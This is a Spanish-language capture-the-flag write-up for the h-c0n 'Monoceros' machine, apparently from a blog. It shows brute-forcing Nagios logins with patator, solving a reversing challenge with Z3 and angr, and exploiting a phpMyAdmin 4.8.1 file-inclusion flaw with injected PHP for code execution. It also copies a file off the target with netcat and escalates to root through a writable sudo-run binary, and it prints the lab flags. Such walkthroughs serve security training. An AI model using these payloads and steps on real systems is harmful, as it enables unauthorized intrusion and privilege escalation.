Durante la semana pasada se ha jugado el CTF de la h-c0n el cual ha diseñado ihacklabs.
Durante estos días subiremos una serie de posts resolviendo los retos.
Solo queda agradecer a iHacklabs y Hackplayers por organizarlo, os recomiendo que participareis el año que viene!

  • Parte 1: https://ironhackers.es/writeups/writeup-ctf-h-c0n-1-3-hackplayers-ihacklabs/
  • Parte 3: https://ironhackers.es/writeups/writeup-ctf-h-c0n-3-3-hackplayers-ihacklabs/
  • Monoceros – Acceso Básico

    Como siempre, lo primero sera un escaneo de puertos con nmap:

    nmap -sC -sV 10.14.0.151


    Como veis, el servidor está ejecutando un SSH y un HTTP.
    Vamos a echarle un ojo a la web:

    El index es el por defecto de Apache/Ubuntu.
    Vamos a buscar ficheros/directorios ocultos, para esto usaremos dirsearch

    ./dirsearch.py -u http://10.14.0.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -e php

    Tras la ejecución de este comando se encuentra /nagios:

    Nos pide credenciales, podemos usar patator para tratar de encontrarlas:

    echo 'nagiosadmin
    admin
    root
    adm
    ROOT
    ADMIN' > user.txt
    cp /usr/share/wordlists/metasploit/unix_passwords.txt pass.txt
    patator http_fuzz url=http://10.14.0.151/nagios user_pass=FILE0:FILE1 0=user.txt 1=pass.txt -x ignore:code=401
    

    nagios:12345678

    Con estas credenciales podremos acceder por SSH al servidor.

    Monoceros – Reversing

    En /home/ihl/reversing nos encontramos el reto de reversing.
    Vamos a descargarnos el binario:

    #En la máquina:
    nc -w 10.14.0.235 1234 < checknumbers
    #En nuestra máquina:
    nc -lvp 1234 > checknumbers
    

    Método 1

    Vamos abrirlo con IDA PRO que nos permite mostrar el pseudo-code:

    En la función Main vemos que se ejecutan 19 funciones a las que se le pasa una cadena que nos pide previamente con scanf.
    En estas funciones se ejecutan una serie de ecuaciones en función de la cadena introducida (los caracteres serán las incógnitas), si las igualdades no se satisfacen, el programa finaliza.
    Por ejemplo, siendo a1 la cadena:

    a1[10] + a1[17] + a1[11] + a1[12] * a1[19] == 6134


    Siendo a1[0] == v0 , a1[1] == v1,… Ecuaciones:

    v10 + v17 + v11 + v12 * v19 == 6134
    v13 * v2 - v20 + v13 == 10859
    v2 + v12 - v9 * v4 - v11 ==  -11625
    v11 + v8 * v19 == 5663
    v1 + v8 + v19 - v0 == 170
    v10 * v11 + v11 + v18 * v7 == 17982
    v15 + v15 * v10 + v1 + v10 == 12867
    v15 * v9 - v4 * v20 - v18 == 3770
    v9 - v13 - v6== -127
    v19 - v16 * v13== -11505
    v11 - v0 - v11 * v17 ==-5097 
    v17 * v14 - v14 + v3== 5141
    v16 - v19 - v20 + v18 == 53
    v3 + v14 + v11 == 310
    v20 + v7 * v9 - v3 == 11012
    v12 * v12 + v20 - v10 - v20 == 13109
    v7 - v5 + v15 * v7 - v7==12201
    v19 * v8 + v9 + v5 == 5767
    v20 * v20 - v13 == 2918
    v20 * v3 == 5555
    

    Ahora tenemos que resolver este sistema de ecuaciones, para esto usaremos Z3 Solver:

    #!/usr/bin/python3
    from z3 import *
    s = Solver()
    
    v0,v1,v2,v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20=z3.Ints('v0 v1 v2 v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18 v19 v20')
    
    s.add(v10 + v17 + v11 + v12 * v19 == 6134)
    s.add(v13 * v2 - v20 + v13 == 10859)
    s.add(v2 + v12 - v9 * v4 - v11 ==  -11625)
    s.add(v11 + v8 * v19 == 5663)
    s.add(v1 + v8 + v19 - v0 == 170)
    s.add(v10 * v11 + v11 + v18 * v7 == 17982)
    s.add(v15 + v15 * v10 + v1 + v10 == 12867)
    s.add(v15 * v9 - v4 * v20 - v18 == 3770)
    s.add(v9 - v13 - v6== -127)
    s.add(v19 - v16 * v13== -11505)
    s.add(v11 - v0 - v11 * v17 ==-5097 )
    s.add(v17 * v14 - v14 + v3== 5141)
    s.add(v16 - v19 - v20 + v18 == 53)
    s.add(v3 + v14 + v11 == 310)
    s.add(v20 + v7 * v9 - v3 == 11012)
    s.add(v12 * v12 + v20 - v10 - v20 == 13109)
    s.add(v7 - v5 + v15 * v7 - v7==12201)
    s.add(v19 * v8 + v9 + v5 == 5767)
    s.add(v20 * v20 - v13 == 2918)
    s.add(v20 * v3 == 5555)
    
    if s.check() == sat:
    	m = s.model()
    	for i in range(0,21):
    		obj = globals()['v%d' % i]
    		c = m[obj].as_long()
    		print('%c' % c,end='')
    

    Método 2

    Otra posible manera de obtener la flag es utilizar angr.
    Básicamente debemos indicar la dirección del ejecutable a la que queremos llegar, en nuestro caso es el puts(“Enhorabuena….”)
    El ejecutable está compilado con PIE así gdb,ida,… no nos mostrarán la dirección real de la instrucción:

    Probemos a cargar el binario con angr:

    Como veis, nos dice que como está compilado con PIE debemos sumarle 0x400000
    El script quedaría así:

    #!/usr/bin/python3
    
    import angr
    import sys
    
    path_to_binary = "checknumbers" 
    project = angr.Project(path_to_binary)
    initial_state = project.factory.entry_state()
    simulation = project.factory.simgr(initial_state)
    simulation.explore(find=0x400000 + 0x001a61)
    
    if simulation.found:
      solution_state = simulation.found[0]
      print ('flag : ' + solution_state.posix.dumps(sys.stdin.fileno()).decode('utf-8'))
    else:
      raise Exception('Could not find the solution')
    

    El flag (iseeyourmathskill1337) es la contraseña del usuario juan desde el cual podremos escalar a root.

    Monoceros – Web

    En /var/www/html/ nos encontramos el reto Web:

    Nos encontramos un PhpMyAdmin 4.8.1 y que por tanto es vulnerable: https://www.vulnspy.com/phpmyadmin-4.8.1/
    Una de las dificultades será encontrar la ruta donde se guardan los ficheros de session, que tras varias pruebas encontramos que se guardan en /tmp.

    /index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_11njnj4253qq93vjm9q93nvc7p2lq82k

    Ahora vamos a intentar crear un fichero PHP que nos permita ejecutar comandos:

    select '<?php system($_GET['cmd']; ?>'

    La siguiente dificultad del reto es que no permite las funciones system(), exec(),…

    Lo que podremos hacer es subirnos una shell reversa que no use ninguna de estas funciones restringidas o utilizar funciones de php que nos permitan listar los ficheros del sistema y ver su contenido. Para no tener que abrir un puerto decidí ir por el otro camino:

    <?php $fich=scandir("/");print_r($fich); ?>

    Tras la ejecución de estos comandos, vemos que hay un fichero llamado flag.php, vamos a leerlo:

    <?php echo file_get_contents("/flag.php"); ?>

    Flag: $flag="flag{CVE-2018-12613_session_php_tricky}"; 

    Monoceros – Acceso Admin

    Una vez se completa el reto de Reversing podemos acceder al usuario Juan. Veamos si podemos ejecutar algún comando como root:

    Como veis podemos ejecutar el fichero etc/init.d/nagios como root, mediante este fichero se ejecuta el binario /usr/local/nagios/bin/nagios. Como tenemos permiso de escritura sobre /usr/local/nagios/bin/nagios podemos hacer que ejecute una shell reversa como Root!

    sudo /etc/init.d/nagios configtest

    ¿Me ayudas a compatirlo?